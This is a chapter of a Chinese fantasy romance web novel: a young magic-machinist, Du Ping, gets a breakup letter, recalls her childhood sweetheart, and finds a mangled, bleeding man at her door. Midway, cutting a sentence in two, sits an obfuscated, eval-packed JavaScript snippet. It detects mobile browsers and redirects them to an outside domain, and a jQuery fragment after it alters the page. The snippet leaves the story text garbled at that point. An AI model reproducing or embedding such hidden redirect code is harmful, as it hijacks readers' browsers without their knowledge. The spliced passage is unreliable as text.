初春三月,邮差骑着装饰花藤生满红锈的破旧自行车,从空中飞速掠过,将一封盖着北部阿依塔玛邮戳的信封随手塞入了邮箱。
邮箱后方那座棱角圆润如蘑菇的红顶小房子门前,立刻响起了悦耳的风铃声,伴随着阵阵聒噪的提示音。
“信到了!”
“信到了!”
“信到了!”
……
门缝打开了,探出一只小巧苍白的手,她摸向门口的地毯,手指触及地面上的红色按钮,邮箱旋即晃动了下,拨开后箱扇,里面安放的那封薄薄的信件如箭矢般飞射向门口——
她牢牢地接住信,然后将手缩了回去。
戍城部3处.冬凛城.阿依塔玛行省。
没错,地址!她睁开漾起喜悦的双眸,打开了折叠的信封,抽出那张薄薄的信纸。
【亲爱的小瓶子,见信如面。】
她用围巾将自己的头发脑袋缠了又缠,屋内壁炉火光暖洋洋的,看到这一行字,心里痒痒的,鼻子也痒痒的,想打个大大的喷嚏出来。
但她最终还是忍住了,因为她要倾注所有精力去看下一行字。
她抚摸着柔软的信纸,往下继续看去——
【我们分手吧。】
“?”
*
杜瓶最近考虑,是不是该换个住处了。
阿妮知道了她分手的消息,差点没笑晕过去。
“我就知道你们得分,你看看他说的是人话吗?”
她一边念信一边笑,“什么叫做北部战事未平,一心报国,不愿再耽误你的青春年华,什么叫无法适应过长距离的恋情,什么叫感谢这些年的陪伴与理解,我放他万有之主的狗屁……”
“我都说了,我同学的表哥前阵子看到他和一个冬凛城的漂亮姑娘好上了!你怎么就不信呢?”
杜瓶移开目光。
“那可是金发蓝眼,胸大腰细的北部姑娘。”
“是啊,是啊。”
阿妮拍着她的肩膀,“所以你压根没必要为他难过!你应该庆幸早点摆脱了他!那家伙有一点说的对,他浪费了你多少青春年华啊?我看,你捣鼓个机械情人出来都比他靠谱!”
阿妮说完这句话,便提起那镶满粉钻的挎包,她已经在酒馆陪她呆了整整一下午了,晚上还和住在城郊的格林伯爵有场约会。
门外前来接送的马车已经徐徐停靠了。
杜瓶决定从酒馆回家。
她其实并不难过,内心极为平静,平静到分不清是否真的收到了那封分手信,抑或是自己脑袋里出了什么问题。
怪了,她不怎么难过,甚至还在脑子里乱七八糟地想着阿妮说的机械情人,能帮她做家务,能解决生理问题,听着仿佛也不赖。
她鬼迷心窍地笑了笑,忽然脚步停在了黑暗的街口,初春的寒风依然携带着料峭寒意。
杜瓶十岁时认识的卢克。
他一头金棕色头发,穿着雪白的袍服,才十来岁的年纪却生得十分高大,和不少孩子都相熟热络。
一进教堂,他便与两侧的男孩打闹嬉笑,直到神父将他放肆的笑声喝断。
他就站在她的正前方。
那时杜瓶的母亲刚把她送进教堂唱诗班,对唱歌不大感兴趣的她躲在高个的男孩身后,正好挡住了神父的注目。
身着圣袍的孩子们唱着——
“恩赐花卉、恩赐清泉。”
“恩赐小麦、恩赐浆露。”
“万有的主啊,万有的恩顾。”
……
“恩赐慈母、恩赐严父。”
“恩赐安宁、恩赐坦途。”
“万有的主啊,万有的恩顾。”
……
杜瓶唱到第二段的时候,就已经不大撑得住了。
她站在后排点着脑袋,丝毫没注意到歌声戛然而止,自己狂放的呼噜声随即成为空旷教堂最为“万有”的存在。
孩子们霎时爆笑如雷。
“谁?”神父满头冒火,“谁胆敢在圣洁的教堂睡觉?”他探着脑袋,“这声音——杜瓶?”
杜瓶蓦然惊醒,那站在她前方的少年却举着手说道:“是我!先生!是我打的呼噜!”
“卢克!又是你?”神父像只暴龙拱出了身子,将少年从人群中揪出来,“整天犯事!还想我把你妈妈再叫过来问话吗?”
就这样,他被狂暴形态的神父训斥了足足半个钟头,杜瓶愣愣地站在人群中,看向那不为所动的少年。
他忽然回过头,双眼眯成了一条弯弯的缝,露出左边那颗尖尖的虎牙,朝她笑起来。
他笑起来挺好看的。
少年叫卢克,与她家住在同一街道,是个调皮的十足野孩子,孩子们都爱和他玩,他尤爱闯祸,常常偷家里的飞行器揽着四五个小朋友飞来飞去到处碰头。
但他也很仗义,他罩着的人无论犯了什么事,他都挡在前头替他们挨罪受罚……
所以杜瓶也总能看到他被自己的母亲追着打骂,从树屋的第一层一直打到开满绿叶枝桠的最高层。
尽管屁股都被打开花了,他还有闲情趴在树屋顶部朝她笑着招手哩。
杜瓶觉得他挺好玩的,不知不觉,那种好玩变成了想到就会涌上心头的暖流,后来又变得像阳光一样有些刺眼,使他一出现她就看不见其他人的存在。
渐渐的,他就出现在了她的日记里,一页又一页,春去且冬来。
那时绿萝街道上有好几个漂亮的女孩子,卢克又是街道男孩中最高大英俊的那一个,他自然收不住玩心。
他身边接连换了好几个漂亮女孩。
杜瓶没觉得非得和他发生点什么,所以只是悠然自得地默不作声。
直到他和上一任珍妮丝分手的那天,下了一场大雨,她看到他冒雨行走在夜晚的街道,便正好将夹在手臂间的,多出来的一把小红伞递到他手里。
正好,他的肩膀贴得她近了些。
脑袋一热,她就告白了。
她没料到他会将她被雨水打湿,冰凉颤抖的那只手紧紧握住。
杜瓶十六岁那年,决定成为一名魔法机械师,这在帝国中并不是个常见的行当。
她不仅要学习设计、组装、新兴的蒸汽理论等等,还得背诵大段大段的古代符文,研习用旧日语书写的极为复杂的术法典籍。
她的使命是将那些古代符文应用到自己组装的机械中,使平平无奇的铁疙瘩焕发玄妙的魔法色彩。
结束为期七年的义务教育后,杜瓶进入语法学校,且在十六岁时申请了大学。
尽管在魔法机械上她展现了相当的天赋,但当今的大学依然是富豪贵族的天下,加上她又是女性身份,申请不出意外地杳无音信了。
她却松了口气。
出生于收入勉强的平民家庭,她支撑不住大学昂贵的学费,也只是想试试自己到底能否撞到那个渺茫的可能性。
那以后杜瓶便出来工作了,她加入了安戈市的机械社——当地一家专营魔法机械的公司,跟着老魔法机械师钻研学习。
她忙得焦头烂额,满头圈圈,这时,卢克刚从军校毕业。
他十五岁起就从国立学校转到了柏利安军校,或许是因为他身材高大,体检优异,身体也有相当程度的抗魔性(更可能是因为父母和军校的高层有点关系)。
卢克在柏利安军校上了四年学,由于封闭式管制的缘故,每年只能回来两次,两人团聚的时间少得可怜。
他终于毕业那年,杜瓶十七岁,已经工作了一年,因为在机械
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290366|182661||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
社的学徒期进展得并不如意,她沮丧地跟着他一路往前走,直到撞到一堵肉墙,直到他带着她来到了一座漂亮的红房子前。
“小瓶子。”他喜欢这么叫她。
“怎么了?”
“我给我们买了一座房子。”
她愣住。
他是说真的,因为他拉着她一路往屋内走去,还边走边说:“门口要是挂串风铃怎么样?地毯的颜色你来决定好了,虽然只有两层楼,客厅也不大,不过可以放得下一张沙发和茶几,楼梯间做个储物室挺好的?嗯,这里或许应该摆两只花瓶,你觉得呢?”
“可是,为什么要买房子?”
杜瓶知道,他家还没富裕到可以随便掏这么多钱的程度。
“我想……”他停顿了一下,“如果要结婚的话,得先给你一个家。”
家……
一个家……
杜瓶停下脚步,望着街道另一头,那座红红的小房子,好像一朵在寒冬里枯萎凋尽的玫瑰,可现在分明是春天了。
什么都会枯萎,花会枯萎,草会枯萎,跳动的血肉之心也会慢慢地失去活力,剥去原本的情感,慢慢地枯萎、黯淡、死去。
只有钢铁不会。
她解开脖子上的围巾,挎在手臂上,躲开乱窜的飞行器,穿越灰蒙蒙的街道。
门口的路灯坏了好久了,一闪一闪的。她掏出兜里的钥匙,路灯刚好闪到黑了,好长一段时间都不亮起来。
她看不清路,还被一处低洼给绊了脚,直愣愣地扑倒在了地上。
膝盖传来钻心的痛楚,往血肉里钻,往骨缝里钻,她疼得几乎咬碎牙齿,两滴泪也从眼中飙出。
她觉得自己的膝盖肯定肿成馒头了,要么是流血了,否则她也不会疼成这样,这该死的市政,整日问她收税,连个路灯都修不好!
她抚摸着膝盖,发现有一根尖锐的物体扎在裤子上,划破了膝盖,果然是流血了,黏糊糊的血液。
她将刺入大腿的那根尖锐物品拔出,抬起手,恰好路灯又亮起来了,冷光照在上头,她发现那是一枚带血的鲜红长形镀金徽章。
她愣了愣。
路灯再次暗下,她跪在地上四处摸索着,还有更多,更多的锐物,像是破碎的刀片,像是碎裂的钢铁,她都不知道该往哪个方向走才能避开那些锐物了。
“救我……”
直到她的耳边响起这道声音,细微得仿佛下一刻就要被黑夜吞没了。
她沿着记忆中的方向,依靠稀薄的月光缓慢地避开那些锐物,缓慢地走入院中,很快踏上了草坪上歪歪扭扭的石头路。
路边种着卢克离去时采买的花籽,那些花籽只开了稀稀拉拉的几朵花,杜瓶工作太忙,来不及照料,仅有的几朵花也全死在了深寒的冬天。
膝盖还是生疼生疼的,她要好好瞧瞧到底是谁在家门口散布这些危险的锐物,是谁让她膝盖流血,搞不好还有破伤风的危险。
可路灯一直没亮,那么只能等到她走到门口拉开门灯,她觉得自己很近了,仿佛可以听到那人的呼吸,也仿佛很快就能摸到门灯的拉绳了。
忽然路灯跳闪,世界再度亮了起来——
那人将头枕在漆木门前,粗重地呼吸着,他浑身都是红色,银白的头发上、碎裂的衣裤上、支离破碎的手指上。
杜瓶从没看过那么多红,浓稠腥烈,闻起来像一层厚厚的铁锈。
以至于过了好一会儿她才反应过来,那不是什么铁锈,而是血,流淌不止的血。
那个被鲜血浸透的男人双目灰暗,几乎失去了左边半截身体。
杜瓶颤抖着张大嘴,她看到了他白嶙嶙的头骨、深红的肉、还有被裂甲破开的胸腔里,那颗微弱跳动的心脏……
“救,救救我……”